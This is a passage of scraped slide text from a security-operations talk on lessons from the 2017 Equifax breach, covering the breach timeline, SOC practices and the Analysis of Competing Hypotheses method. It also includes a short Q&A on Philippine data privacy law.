it tuned and operating effectively. Dedicate time for this •This is sometimes transferred to a managed service provider (MSP/MSSP) Copyright Chri stopher Crowley Security Operations 64 Technology Maintenance Issues •SOC relation to standard IT? •Oversight •Embedded •Coordinating •Figure out what you’re going for •Sequence of growth/maturity is often: •Embedded (security activity in name only) •Coordination / Oversight (separate to grow) •Embedded (mature organization with clear picture of what is needed and optimizes effort) Oversight Coordination Embedded Copyright Chri stopher Crowley Security Operations 65 Resolutions: Security Staff Empowerment & Reality Check Copyright Chri stopher Crowley Security Operations 66 Training, Exercise, and Practice •There’s a large group of people responsible that allowed that TLS certificate to expire •It’s some mix of cultural laziness, powerlessness, pride, meekness, etc. but they missed it for a long, long time •Security failed at basic IT OperationsSomeone, Some Group, Some Manager, Some Executive… Copyright Chri stopher Crowley Security Operations 67 Training, Exercise, and Practice •Seek funding for external training •Cultivate internal training development •Practice tasks – required self -improvement time •Scripts, Internal tools, Coding, Mess remediation – 2 hours per week, required, for example •Encourage external presentation by paying for travel to conferences if staff are approved for presentations •Includes time for threat hunting, and other non -alert driven work Copyright Chri stopher Crowley Security Operations 68 Training, Exercise, and Practice •You should develop training & certification plans per staff role •Each role has certs that are •Required for hire (or completion within x days of hire) •Standard training plan sequence •Optional to training plan (but company will pay for)Simple or Complex Training Plan Copyright Chri stopher Crowley Security Operations 69 Monthly Staff Presentations •SOC staff rotates on presenting current technique, issue or problem •This can be an unresolved problem, seeking input and assistance from all SOC areas •Opportunity to share methodology, thought processes, and tools •Should be a formal presentation (slides, Q+A)Self-Improvement, Group Format Copyright Chri stopher Crowley Security Operations 70 Quarterly Internal Training •External training is limited due to lack of time and/or funding •Resolution: Develop internal exercises •Quarterly release of new exercise •Based on current issues and events •Additionally, results in exercises useful for: interviews, onboarding, and keeping staff sharpGroup Self -Challenge Copyright Chri stopher Crowley Security Operations 71 Analytical Methodology •Almost no organizations that I encounter have a methodology in place for performing analysis •There should be a training on analysis as well – few places have this •SANS SEC511 has some of it, ChrisSanders.org has an analysis class online •I’ll discuss Analysis of Competing of Hypothesis (ACH) nextGroup Methodology for Collaborative Performance Copyright Chri stopher Crowley Security Operations 72 Models of Analysis Background •Human mental machinery is fraught with substantial weakness in objectively processing information •We overlook or ignore details that don’t suit our mental models •We resist changing our mind once we’ve decided something is right, even in the face of updated evidence •Experimental results suggest that: experts in their field increase self-assessed confidence level with more data, without corresponding increases in accuracy of analysisACH – Mental Machinery Copyright Chri stopher Crowley Security Operations 73 Models of Analysis Background •We use Situational Logic, Theory Application, and Comparison •Leads to mistakes in analysis •Make assumptions, but explicitly identify them in the analysis •Common analytical failures: •Satisficing – selecting the first, not the best •Incrementalism – variation on same theme, insufficient breadth of scope •Consensus – most popular, not the most accurate •Reason by analogy – selection based on avoiding a previous mistake in analysis •Principals – applying morality to select between the “good” and “bad”ACH – Mental Machinery Copyright Chri stopher Crowley Security Operations 74 Analysis of Competing Hypotheses Background •Decomposing a problem breaks it into sub-elements to allow smaller units for analysis •Externalization of a problem removes it from the mental space it puts it in a tangible space to facilitate more complex manipulation. Draw a graph, build a model, use replicas of the affected systems and test the scenarios you proposeACH – Decomposition and Externalization Copyright Chri stopher Crowley Security Operations 75 Analysis of Competing Hypotheses Background Incident Type Hypothesis 1 Hypothesis 2 Hypothesis 3 … Data 1 Data 2 Data 3 Data 4 …What’s Your Template for Analysis? We’re going to develop these templates. You’re not just to fill out the template, you still need to think! Copyright Chri stopher Crowley Security Operations 76 Analysis of Competing Hypotheses ACH Applied •Let’s look at the data we have, and list some potential explanations •Don’t criticize, kill, or otherwise refute any hypothesis! (We’ll do that later.) •This is hard for most people to do, since we tend to be incremental •Automation: populate hypotheses with all previously encountered explanations for issues1. Brainstorm Copyright Chri stopher Crowley Security Operations 77 Analysis of Competing Hypotheses ACH Applied •Identify the data that we have •Identify data that would be useful, and keep a running list of it to try to acquire it •Orchestrate: Based on the attempt to build out your ACH templates, determine what data would be needed for analysis, and work toward automatically collecting this information through orchestration2. List Data Attributes Copyright Chri stopher Crowley Security Operations 78 Analysis of Competing Hypotheses ACH Applied •Make a chart with the hypotheses on the top and the data elements (created in steps 1 and 2) on the side •Don’t fill it in yet •At some future time, this could potentially be automated for an analyst given ranked / weighted hypotheses sets based on data present for investigation, (we’re probably not there yet)3. Build Matrix Copyright Chri stopher Crowley Security Operations 79 Analysis of Competing Hypotheses ACH Applied •Look for consolidation opportunities •Are two hypotheses essentially the same? •Can we consolidate data elements? •Do we need to add more data elements? •Don’t Automate or Orchestrate: Get the human being to do expert work here4. Assess and Refine Chart Copyright Chri stopher Crowley Security Operations 80 Analysis of Competing Hypotheses ACH Applied •Fill in the numbers •The method we’ll use is: 10 points per row total. Assign the points for that specific data element (not overall) that supports the hypothesis in each column) •Can’t exceed 10 points per row •Sum the points at the bottom6. Tentative Conclusions Copyright Chri stopher Crowley Security Operations 81 Analysis of Competing Hypotheses Background Malware drive by download attemptPhone actually infectedTargeted not from site, but from network user is on Site Accessed when ad showed 5 2 3 Bad Grammar 3 3 3 Compulsion to risky action 3.5 3 3.5 Advertised only on one site 7 1 2 Threatening? 3.5 3 3.5 Reputation weight of domain? 4 3 3 Total: 26 15 18ACH – Example – Spam Advertising These values are the analysis, different analysts would have different values Copyright Chri stopher Crowley Security Operations 82 Analysis of Competing Hypotheses ACH Applied •Look at the matrix. Identify all the rows where the point allocation is close (3,4,4, for example) •Look at the matrix. Identify the rows where there’s a big difference between points (10,0,0 or 7,2,1). These are the data elements that your analysis hinges upon. •Consider: what if that data was wrong? (Analysts dislike) •This could be automated, but the benefit of this is for the analyst to reflect on the conclusions6. Sensitivity Analysis Copyright Chri stopher Crowley Security Operations 83 Analysis of Competing Hypotheses Background Malware drive by download attemptPhone actually infectedTargeted not from site, but fro m network user is on Site Accessed when ad showed5 2 3 Bad Grammar 3 3 3 Compulsion to risky action3.5 3 3.5 Advertised only on one site7 1 2 Threatening? 3.5 3 3.5 Reputation weight of domain? 4 3 3 Total: 26 15 18 Copyright Chri stopher Crowley Security Operations 84 Analysis of Competing Hypotheses ACH Applied •Write a brief explanation of your results (potential for automation and orchestration here) •Identify most likely hypothesis •Identify your assumptions •Identify the sensitivity of your analysis (what does it depend upon being true?) •Identify other hypotheses considered but dismissed7. Report Conclusions Copyright Chri stopher Crowley Security Operations 85 Analysis of Competing Hypotheses ACH Applied •Identify a few things that are likely to happen in the future, based on what you’ve hypothesized is the most likely explanation •This isn’t easy. For example, if you hypothesized an intruder has compromised a host, there will likely be subsequent reconnaissance and pivoting attempts using exploits and password guessing8. Milestones Copyright Chri stopher Crowley Security Operations 86 Analysis of Competing Hypotheses ACH Applied •Give your completed work to your partner analyst •This isn’t escalated to a higher tier, done by a peer analyst •The partner should be able to understand what you wrote and your explanation without you explaining it to him/her – repeat: you’re not allowed to explain the report to your peer . Peer reads it, criticizes it, you improve it •Don’t agree, only point out problems that are present, this is what makes analysis better: criticize to strengthen9. Peer Review (Crowley added) Copyright Chri stopher Crowley Security Operations 87 Analysis of Competing Hypotheses Background •1) Identify hypotheses – brainstorm •2) List attributes – for and against each hypothesis •3) Build matrix – with hypotheses at top, evidence on side •4) Refine matrix – remove or consolidate as appropriate •5) Tentative conclusions – disprove (don’t validate) item •6) Sensitivity – change critical elements to assess •7) Report conclusions – relative likelihood of each •8) Milestones – future events suggesting error in analysisReview - ACH – 8-Step ACH Process Copyright Chri stopher Crowley Security Operations 88 Analysis of Competing Hypotheses Background •We can create templates for the common situations we encounter to expedite the analysis portion •There’s a danger to this: you are not supposed to just fill in the template – don’t be limited by it, it’s a start •Work on templates, and revise perpetually •Start now: 3 most frequent situations requiring analysis, and build templates for those over the next three weeks Templates – Benefits and Risk Copyright Chri stopher Crowley Security Operations 89 Analysis of Competing Hypothesis Incident Type Hypothesis 1 Hypothesis 2 Hypothesis 3 … Data 1 Data 2 Data 3 Data 4 …Template Richards J Heuer – Analysis of Competing Hypothesis Book Download AvailableProbably a good idea to develop something like these templates for use in your environment as an analytical tool. It forces externalization and objective practice. Important – templates a work expediter, not a checkbox to fill in. Copyright Chri stopher Crowley Security Operations 90 Conclusion Copyright Chri stopher Crowley Security Operations 91 Thank You •CCrowMontance (twitter) •https://www.mgt517.com/soc for this slide deck & other public decks, plus additional references •Redistribution authorized, but please provide citation •https://soc.montance.com April 2019: my consolidated location for security operations / SOC resourcesI Appreciate Your Time and Attention Copyright Chri stopher Crowley Security Operations 92 --- ## Source: https://montance.com/questions.php?id=119 [![pdf](content/images/icons/pdf.svg) Manila HK Equifax SO.pdf](https://drive.google.com/file/d/1ivi5hyzX0JGXeqqKnjq5YNedqS3PCxjz/view?usp=drive_link) Manila HK Equifax So Presentation covering Case Study titled 'Manila HK Equifax So'. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What is the 'Data Privacy Act of 2012'? A: The primary data privacy law in the Philippines. * Q: What is 'NPC'? A: National Privacy Commission (Philippines). * Q: What is 'Circular 2016-03'? A: A regulation on personal data breach management. * Q: What is the notification requirement for a breach? A: Within 72 hours of discovery. * Q: What is 'Sensitive Personal Information'? A: Data that discriminates, identifies health/sexual life, or involves government identifiers. * Q: What is 'Privileged Access Management' (PAM)? A: Controlling and monitoring access for high-level users. * Q: What is 'Multi-Factor Authentication' (MFA)? A: Requiring more than one method of verification for access. * Q: What is 'Network Segmentation'? A: Dividing a network into smaller parts to limit lateral movement. * Q: What is 'Log Retention'? A: Keeping audit logs for a specified period for investigation. * Q: What is 'Incident Response Plan'? A: A documented procedure for handling security incidents. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/1ivi5hyzX0JGXeqqKnjq5YNedqS3PCxjz/view?usp=drive_link **[PDF Extracted from Google Drive: https://drive.google.com/file/d/1ivi5hyzX0JGXeqqKnjq5YNedqS3PCxjz/view?usp=drive_link]** 2019 -03 Security Operations to Avoid Being the Next EquifaxChristopher Crowley - CCrowMontance Copyright Chri stopher Crowley Security Operations 3 Introduction Copyright Chri stopher Crowley Security Operations 4 Christopher Crowley •Background: started working in computers in 1988, before security was much of a concern. Had root on most systems in employer at 15 years old •Has worked in several sectors: Education, Energy, Government, Software Development, Defense, Financial, Telecommunications •Currently: Consultant, author of (SANS deprecated) MGT517: Security Operations. Teaches: SecOps, SEC511, SEC575, SEC504, … •Consultant, with focus on overall operationsSANS Senior Instructor Twitter: CCrowMontance Copyright Chri stopher Crowley Security Operations 5 Presentation Available to Download https://mgt517.com/soc You can take photos & tweet if that’s your thing, but I would really like you to pay attention to me, which is why I’m making this slide deck available to youStop taking notes Copyright Chri stopher Crowley Security Operations 6 Happy Mardi Gras •I lived in New Orleans for 15 years (Until August, 2005) •I return every year for Mardi Gras (French for Fat Tuesday) •When I schedule this trip, I did so with the contingency that I would celebrate Mardi Gras wherever I was. So, please join me in a little Mardi Gras festivity •Carnival ( latin , carnem levare : remove meat) is a pre -Lent tradition in preparation for an extended fastTuesday, March 5th, 2019 is Mardi Gras Copyright Chri stopher Crowley Security Operations 7 Terminology & Background Copyright Chri stopher Crowley Security Operations 8 How This Will Work •I’m going to give you some background so you understand where I’m coming from •This is a lot of terms, technology, mindset, etc. •It will be helpful when I get into the story that I want to tell youMy Approach Copyright Chri stopher Crowley Security Operations 9 Full Spectrum Capability •The US DOD Defense Science Board describes adversaries in six tiers •The top tier attackers are nations state funded, and are in the “Billion Dollar Club” in capability of spending •This type of attacker can bring the full capability of traditional intelligence capabilityThreat Taxonomy Copyright Chri stopher Crowley Security Operations 10 Examples •MITRE / Carson Zimmerman: https://mgt517.com/csoc -mitreCSOC – Cyber Security Operations Center Copyright Chri stopher Crowley Security Operations 11 Functional Areas of a SOC Crowley Defined Steering Committee Command Center Network Security MonitoringThreat Intelligence Incident Response Forensics Self-Assessment Copyright Chri stopher Crowley Security Operations 12 Models of Analysis Weltanschauung •Caltagirone, Pendergrast, Betz •The Diamond Model of Intrusion Analysis •All events have the elements: adversary, infrastructure, capability, and victim •Edge connected, sequenced graphs of these nodes are Activity threads •Events are described by tuples with feature and confidence E = {f1,c1; f2,c2;…}Diamond Model Copyright Chri stopher Crowley Security Operations 13 Models of Analysis Weltanschauung •Hutchins, Cloppert, Amin published Intelligence -Driven Computer Network Defense Informed by Analysis of Adversary Campaigns and Intrusion Kill Chains •Based on military targeting doctrine of •Find, Fix, Track, Target, Engage, and Assess •Intrusion Kill Chain is: Reconnaissance, Weaponization, Delivery, Exploitation, Installation, Command and Control, Actions on ObjectivesPhases In Diamond Model: Kill Chain Copyright Chri stopher Crowley Security Operations 14 Diamond Model What Else? Interruption: Beyond Prevent/Detect Adversary Interruption Explanation Detect Enhanced methods for identifying the presence of adversary activity. Degrade Reduce the ability of the adversary to perform operations, but not able to completely stop actions. Disrupt Stop adversary action while it is occurring. Deny Prevent adversary from completing an action. Deceive Provide misinformation to adversary to cause expenditure of resources, cause mistakes, and/or facilitate detection. Copyright Chri stopher Crowley Security Operations 15 Phin Phisher DefenseHack Back - A DIY Guide Phineas Phisher vs. Hacking Team – Diamond Model - Initial Entry Kill Chain Phases External Facing Appliance Notes Interruption? Reconnaissance A: Phin; I: compromised assets; C: network scans; V: HT networkScanning performed Weaponization A: Phin; I: unknown; C: exploit development; V: appliance OSDevelops custom exploit Delivery uncertain Exploitation uncertain Gather more info? Installation A; I: custom firmware;C: firmware ;V: applianceCustom firmware Command and ControlA; I: DNS servers; C: remote access; V: applianceDNS Control Channels Action on ObjectivesA; I: Network access in HT DMZ; C: firmware implant; V: applianceInitial entry grants access to environment Copyright Chri stopher Crowley Security Operations 16 Cultural Dimensions Weltanschauung •Power Distance Index (PDI) •Individualism versus Collectivism (IDV) •Masculinity versus Femininity (MAS) •Uncertainty Avoidance Index (UAI) •Long Term Orientation versus Short Term Normative Orientation (LTO) •Indulgence versus Restraint (IND)Geert Hofstede – National Culture Copyright Chri stopher Crowley Security Operations 17 Cultural Dimensions Weltanschauung • Means -oriented vs. Goal -oriented • Internally driven vs. Externally driven • Easygoing work discipline vs. Strict work discipline • Local vs. Professional • Open system vs. Closed system • Employee -oriented vs. Work -oriented • Degree of acceptance of leadership style • Degree of identification with your organizationGeert Hofstede – Organizational Culture Copyright Chri stopher Crowley Security Operations 18 Sequence of Equifax Events Copyright Chri stopher Crowley Security Operations 19 Walk Through •Next we’ll talk through what is known of the sequence of events •I’ll make important points as we go •But after the full sequence we’ll review lessons learned in detail •This is all in 2017 (except the SSL certificate)Will Discuss Lessons Learned Afterward Copyright Chri stopher Crowley Security Operations 20 Sequence of Events Equifax, 2017 Jan 31, 2016Certificate allowing SSL visibility expires Feb 14Struts vulnerability identified Mar 7Struts Public Disclosure - CVE -2017 -5638 – CVSS BASE: 10.0 Copyright Chri stopher Crowley Security Operations 21 Sequence of Events Equifax, 2017 Mar 8 Equifax notified by US -CERT (Probably generic notice to many orgs) Mar 9Internal Equifax notification: Patch Struts within 48 hours Mar 10Post exploit discovery reveals this is initial entry date / time by intruder (48 hours) Copyright Chri stopher Crowley Security Operations 22 Sequence of Events Equifax, 2017 Mar 14Internal Emerging Threats team releases Snort rule to identify attack traffic. Countermeasures team installs it Mar 15Updated McAfee signatures provides check for Struts vulnerability. Scans conducted, no vulnerabilities reported Mar 16Global Vulnerability Team briefs on vulnerability and tells teams to patch, everyone sent copies of slides Copyright Chri stopher Crowley Security Operations 23 Sequence of Events Equifax, 2017 May 13Struts front end to ACIS system – ACIS houses customer information, and hasn’t been updated in decades May 13 – July 30Attackers gain initial access via Struts, maintain access using installed webshells InfraTwo application servers, two web servers Firewall protecting network segment, but web servers exposed Copyright Chri stopher Crowley Security Operations 24 Infrastructure Diagram (Simplified) Copyright Chri stopher Crowley Security Operations 25 Sequence of Events Equifax, 2017 May 13 - July 30 Web shells installed on both application servers from web servers May 13 – July 30Accessible file share mounted, contained file with plain text credentials (contrary to policy) File shares not segmented within “legacy environment” Copyright Chri stopher Crowley Security Operations 26 Sequence of Events Equifax, 2017 May 13 – July 30Credentials stolen from file shares used to access database servers Segmentation of databases not performed, all Equifax DBs available from within ACIS May 13 – July 30Access to the data base servers included queries for meta data to identify the information found within tables 9,000 total queries performed, undetected and unchallenged Copyright Chri stopher Crowley Security Operations 27 Sequence of Events Equifax, 2017 May 13 – July 309,000 queries, 265 had PII information No secondary protection such as encryption within the database for PII data InfraVisibility for monitoring was expected to be performed by SSL intercept capable inspection of traffic into the ACIS network Copyright Chri stopher Crowley Security Operations 28 Sequence of Events Equifax, 2017 (January 31, 2016)Certificate allowing SSL visibility expires Copyright Chri stopher Crowley Security Operations 29 Sequence of Events Equifax, 2017 July 29Countermeasures team installs new certificates to SSLV system (67 new certs) July 29Monitoring occurs, due to newly returned visibility July 29Obvious unauthorized network connection from ACIS environment to IP address in China Copyright Chri stopher Crowley Security Operations 30 Sequence of Events Equifax, 2017 July 29Full PCAP tool used to inspect traffic related to specific IP address July 2910 MB of data transferred during this session No previous full PCAP available due to SSL cert July 29ISP for this IP address blocked Copyright Chri stopher Crowley Security Operations 31 Sequence of Events Equifax, 2017 July 30Vulnerability Scanning of ACIS environment performed July 30Vulnerability scan results indicate SQL injection flaws, and insecure direct object reference issues July 30Forensic investigation of hosts indicates that PII was access by unauthorized resources Copyright Chri stopher Crowley Security Operations 32 Sequence of Events Equifax, 2017 July 30Second malicious IP address – in Germany identified as accessing ACIS environment 12:41pmACIS environment taken offline “for emergency maintenance.” July 30 Executives and Senior Executives briefed on status of breach Copyright Chri stopher Crowley Security Operations 33 Sequence of Events Equifax, 2017 ~Aug 14Effort of 50 -60 people start working on remediation effort (Project Sparta) Substantial effort put forth to develop customer facing portal Sept 4143 Million affected users identified Copyright Chri stopher Crowley Security Operations 34 Sequence of Events Equifax, 2017 Sept 7Public notification Website, Call Centers Formal notification to all 50 states Copyright Chri stopher Crowley Security Operations 35 Sequence of Events Equifax, 2017 Sept 7 - 30Website clones generated Official Equifax twitter tweets link to wrong site Mis-information provided to customers Website intermittently unavailable, code inefficiencies due to short fuse development Copyright Chri stopher Crowley Security Operations 36 Sequence of Events Equifax, 2017 Sept 15CISO and CSO retire Sept 26CEO Retires Oct 2Forensic investigation finalized, number increases from 143 to 145.5 CIO for Global Platforms (ACIS) fired Copyright Chri stopher Crowley Security Operations 37 Sequence of Events Equifax, 2017 Early 2018Affected individuals calculation rises to ~148 million Copyright Chri stopher Crowley Security Operations 38 Sequence of Events Equifax, 2017 Final Details of Data Breach •Final Stats •Name: 146.6M •DOB: 146.6M •SSN: 145.5M g@M3 () \/3R  Copyright Chri stopher Crowley Security Operations 39 Lessons Learned from Equifax Copyright Chri stopher Crowley Security Operations 40 Lessons Learned •When there are lots of items like this, I try to enumerate them in an ordered fashion, so I’m going to go through the timeline above and point out some items. Would take days to consider and report all •I typically would do this with Kill Chain or Diamond Model to explain the intervention opportunities, next slide is a repeat example from another famous compromise: Phin Phisher attacking Hacking TeamWhere to Start? Copyright Chri stopher Crowley Security Operations 41 Phin Phisher DefenseHack Back - A DIY Guide Phineas Phisher vs. Hacking Team – Diamond Model - Initial Entry Kill Chain Phases External Facing Appliance Notes Interruption? Reconnaissance A: Phin; I: compromised assets; C: network scans; V: HT networkScanning performed Weaponization A: Phin; I: unknown; C: exploit development; V: appliance OSDevelops custom exploit Delivery uncertain Exploitation uncertain Gather more info? Installation A; I: custom firmware;C: firmware ;V: applianceCustom firmware Command and ControlA; I: DNS servers; C: remote access; V: applianceDNS Control Channels Action on ObjectivesA; I: Network access in HT DMZ; C: firmware implant; V: applianceInitial entry grants access to environment Copyright Chri stopher Crowley Security Operations 42 Lessons Learned •A good way to reinforce a lesson is to review it shortly after the lesson, to reinforce the thoughts •If you want, take this slide deck, go through the preceding Equifax sequence and enumerate suggested interruption opportunities •In the interest of time, I’m going to discuss some of them in the following slides •Feel free to send your results to me: chris @ montance.comYour Homework Copyright Chri stopher Crowley Security Operations 43 Reminder: Diamond Model What Else? Interruption: Beyond Prevent/Detect Adversary Interruption Explanation Detect Enhanced methods for identifying the presence of adversary activity. Degrade Reduce the ability of the adversary to perform operations, but not able to completely stop actions. Disrupt Stop adversary action while it is occurring. Deny Prevent adversary from completing an action. Deceive Provide misinformation to adversary to cause expenditure of resources, cause mistakes, and/or facilitate detection. Copyright Chri stopher Crowley Security Operations 44 (January 31, 2016)Certificate allowing SSL visibility expires Interruption OpportunitiesSequence of Events Equifax, 2017 Detect: Scan for certificatesDetect: SIEM feed healthDisrupt: Web app firewallDeny: Fail Closed Copyright Chri stopher Crowley Security Operations 45 Zimmerman: Coverage •SIEM report assessing the feed performance •Would have easily identified the SSL visibility lapseCoverage Report Example Copyright Chri stopher Crowley Security Operations 46 Crowley Incident Avoidability •On a (discrete) scale of 1,2,3, was it avoidable? •1 means a measure, already available in the environment wasn’t applied and resulted in the incident •2 means a measure is available in the larger environment and something (economic, political) prevents implementing it within the organization •3 means nothing is available to prevent that method of attack •Assess every issue identified in this waySimple: 1, 2, 3 1•Patch available, but not applied 2•Patch available, risk decision not to apply 3•No patch available (zero day) Copyright Chri stopher Crowley Security Operations 47 Crowley Incident Avoidability Equifax Score: 1 1•Patch available, but not applied Copyright Chri stopher Crowley Security Operations 48 Crowley Incident Avoidability •You don’t care about US Congress (or Equifax Board of Directors), but when you have to go explain what happened to whatever authority you answer to, do you want to be explaining why you were a 1? •They were all CYA, fired this person, we’re making improvements, etc.Equifax Score: 11•Patch available, but not applied Copyright Chri stopher Crowley Security Operations 49 Impact Level Definition •Few systems (or only a specific type) •Unimportant systems •Unimportant data Low •More systems (or many common types) •Important or high value person’s, account, or system •Important data at risk Moderate •Most systems (or almost all types) •Highest level accounts, users, and systems •Business critical data HighDoes Your Management Understand This Already? Copyright Chri stopher Crowley Security Operations 50 Impact Category Definition •Low – minimal function disruption •Moderate –substantial disruption •High –complete disruptionFunctional •Intellectual Property (L/M/H) •Integrity Manipulation (L/M/H) •Privacy violated (such as PII / PHI)Informational •Regular – predictable using resources on hand •Supplemented –predictable with augmented resources •Unrecoverable –data breach which cannot be undoneRecoverableDoes Your Management Understand This Already? Copyright Chri stopher Crowley Security Operations 51 Scale: 1-10 3 7 10 Low Moderate High 3Functional 9 21 30 7Informational 21 49 70 10Recoverable 30 70 100Impact Quantification Example Quantification Current Incident 191 Legacy System #8 - ACIS Copyright Chri stopher Crowley Security Operations 52 The Key to This Talk •So, take the most important asset you have, and think about how that isn’t being protected effectively •Assume that protection will fail, then think about how you can prevent catastrophic failure, as well as what you’ll do when failure (small or large) happens •Let’s check out how Equifax performed when they identified the issueYour Company, Like Equifax, Has Something of Value Copyright Chri stopher Crowley Security Operations 53 Communication Is Critical Don’t Create a New Domain During a Security Incident •First version of Equifax imposter page, courtesy, internet archive Copyright Chri stopher Crowley Security Operations 54 Equifax Dumpster Fire •Again, don’t create a new website •If you do, be sure you tweet the correct address:What Not to Do During a Security Incident https://www.equifaxsecurity2017.com/ 54 Copyright Chri stopher Crowley Security Operations 55 Resolution to Asset Discovery •System recording the responsible party for each system •Owner •Contact for Operations •Data experts •Boundaries •Scenarios of compromise (actual past, or industry specific) •Risk management •Incident handling specific details •Public relations point of contact •Legal requirements and notificationFundamental Error – No Culpability/Responsibility: Until After Breach Copyright Chri stopher Crowley Security Operations 56 Does Anyone Do Asset Discovery? •Seriously, is the technology incapable of identifying systems on your network? •I think the disappointment is mapping to useful organizational contactA Technology Problem? Copyright Chri stopher Crowley Security Operations 57 Matrix Depiction Network Infrastructure •Owner: Dir Network •POC: Thomas Racks •Impact: Moderate - HighServer Infrastructure •Owner: CIO •POC: Thomas Racks •Impact: Low - HighWorkstations •Owner: Dir Network •POC: Thomas Racks •Impact: Moderate – HighFinancial •Owner: CFO •POC: Sarah Banks •Impact: Moderate - HighJABB •Owner: BB Acct POC •POC: Vincent Lehman •Impact: Moderate - HighAMD •Owner: AMD Acct POC •POC: Alexandra Harris •Impact: Moderate – HighGCCS •Owner: GCCS Acct POC •POC: Victoria Houston •Impact: Moderate – HighMEH •Owner: MEH Acct POC •POC: Iggy Calendula •Impact: Low - ModerateGeneric Server System •Owner: CIO •POC: SOC Manager •Impact: Low –HighGeneric System •Owner: CIO •POC: SOC Manager •Impact: Low –HighGeneric Cloud Hosted System •Owner: CIO •POC: SOC Manager •Impact: Low - HighPart 1 - Capabilities Mapped to System Types •Centralized knowledge base of known and unknown system types: reporting requirements, service level objectives (SLO), POCs, Strategies, reporting SLAs, customers, cyber insurance •Handling strategies, guidance for impact determination, IP address ranges, operating system types, exceptions, known vulnerabilities, previous incident types, associated exercises, response capabilities applied based on per -system and per-incident type •Internal dependencies, cloud contracts, external auditors, legal council Copyright Chri stopher Crowley Security Operations 58 Matrix Depiction Internal CapabilityRecon Weapon - izationDelivery Exploit Install Command & ControlAction on Objectives Spam Gateway + -- ++ +- +- -- - EDR- -- + + + + +- NIDS- -- + +- + + - Network Proxy + - ++ - +- ++ + IR - Containment - -- - - - + +Part 2 – Defense Capabilities List Versus Kill Chain Phase •List your capabilities against attacker cyber threat kill chain (or ATT&CK) phases, to know what you have at your disposal in unfamiliar circumstances Copyright Chri stopher Crowley Security Operations 59 Matrix Depiction – Invincea Example •Here Invincea has listed the NIST Cyber Security Framework (CSF) and identified adversary TTPs (and specific targets) cross walked to capabilities and technology Copyright Chri stopher Crowley Security Operations 60 Equifax Issue: Sprawling IT ProductRegionalGlobalGlobal Headquarters APAC Product 1 Product 2Europe Product 3 Product 4In fo r m at io nD ir ec ti o n Copyright Chri stopher Crowley Security Operations 61 Response Capability Empowerment •Does the police department ask permission to cordon off an area, or drive cars fast to chase criminals? Yes, they absolutely do. They have protocols, requirements, and consideration for safety of innocent people. •Identify the authority to conduct response on each type of system, and what is to be done for unknown systems for containment. •Use business continuity plans for eradication and remediation: don’t create new plans unless no business continuity plan exists. Copyright Chri stopher Crowley Security Operations 62 Response Capability Empowerment •Three characters of incident response •Janitorial Services •Fire Fighters •Apex Predators •https://www.mgt517.com/ir3 Copyright Chri stopher Crowley Security Operations 63 Technology Selection Issues •Inadequate “glue” to connect the different tools •Poor selection of tools for the given purpose •Often a result of buying tools prior to understanding the intended purposes •Protection scenarios expressed as “use cases” •Video of Crowley’s presentation on use case development from 2017 SOC Brief is available: https://mgt517.com/use -case (registration required) Copyright Chri stopher Crowley Security Operations 64 Technology Selection Issues •Whatever technologies are selected, each changes with some frequency and must be kept up to date •SIEM in particular, but all other tools require dedicated staff to keep it tuned and operating effectively. Dedicate time for this •This is sometimes transferred to a managed service provider (MSP/MSSP) Copyright Chri stopher Crowley Security Operations 65 Technology Maintenance Issues •SOC relation to standard IT? •Oversight •Embedded •Coordinating •Figure out what you’re going for •Sequence of growth/maturity is often: •Embedded (security activity in name only) •Coordination / Oversight (separate to grow) •Embedded (mature organization with clear picture of what is needed and optimizes effort) Oversight Coordination Embedded Copyright Chri stopher Crowley Security Operations 66 Resolutions: Security Staff Empowerment & Reality Check Copyright Chri stopher Crowley Security Operations 67 Training, Exercise, and Practice •There’s a large group of people responsible that allowed that TLS certificate to expire •It’s some mix of cultural laziness, powerlessness, pride, meekness, etc. but they missed it for a long, long time •Security failed at basic IT OperationsSomeone, Some Group, Some Manager, Some Executive… Copyright Chri stopher Crowley Security Operations 68 Training, Exercise, and Practice •Seek funding for external training •Cultivate internal training development •Practice tasks – required self -improvement time •Scripts, Internal tools, Coding, Mess remediation – 2 hours per week, required, for example •Encourage external presentation by paying for travel to conferences if staff are approved for presentations •Includes time for threat hunting, and other non -alert driven work Copyright Chri stopher Crowley Security Operations 69 Training, Exercise, and Practice •You should develop training & certification plans per staff role •Each role has certs that are •Required for hire (or completion within x days of hire) •Standard training plan sequence •Optional to training plan (but company will pay for)Simple or Complex Training Plan Copyright Chri stopher Crowley Security Operations 70 Monthly Staff Presentations •SOC staff rotates on presenting current technique, issue or problem •This can be an unresolved problem, seeking input and assistance from all SOC areas •Opportunity to share methodology, thought processes, and tools •Should be a formal presentation (slides, Q+A)Self-Improvement, Group Format Copyright Chri stopher Crowley Security Operations 71 Quarterly Internal Training •External training is limited due to lack of time and/or funding •Resolution: Develop internal exercises •Quarterly release of new exercise •Based on current issues and events •Additionally, results in exercises useful for: interviews, onboarding, and keeping staff sharpGroup Self -Challenge Copyright Chri stopher Crowley Security Operations 72 Analytical Methodology •Almost no organizations that I encounter have a methodology in place for performing analysis •There should be a training on analysis as well – few places have this •SANS SEC511 has some of it, ChrisSanders.org has an analysis class online •I’ll discuss Analysis of Competing of Hypothesis (ACH) nextGroup Methodology for Collaborative Performance Copyright Chri stopher Crowley Security Operations 73 Models of Analysis Background •Human mental machinery is fraught with substantial weakness in objectively processing information •We overlook or ignore details that don’t suit our mental models •We resist changing our mind once we’ve decided something is right, even in the face of updated evidence •Experimental results suggest that: experts in their field increase self-assessed confidence level with more data, without corresponding increases in accuracy of analysisACH – Mental Machinery Copyright Chri stopher Crowley Security Operations 74 Models of Analysis Background •We use Situational Logic, Theory Application, and Comparison •Leads to mistakes in analysis •Make assumptions, but explicitly identify them in the analysis •Common analytical failures: •Satisficing – selecting the first, not the best •Incrementalism – variation on same theme, insufficient breadth of scope •Consensus – most popular, not the most accurate •Reason by analogy – selection based on avoiding a previous mistake in analysis •Principals – applying morality to select between the “good” and “bad”ACH – Mental Machinery Copyright Chri stopher Crowley Security Operations 75 Analysis of Competing Hypotheses Background •Decomposing a problem breaks it into sub-elements to allow smaller units for analysis •Externalization of a problem removes it from the mental space it puts it in a tangible space to facilitate more complex manipulation. Draw a graph, build a model, use replicas of the affected systems and test the scenarios you proposeACH – Decomposition and Externalization Copyright Chri stopher Crowley Security Operations 76 Analysis of Competing Hypotheses 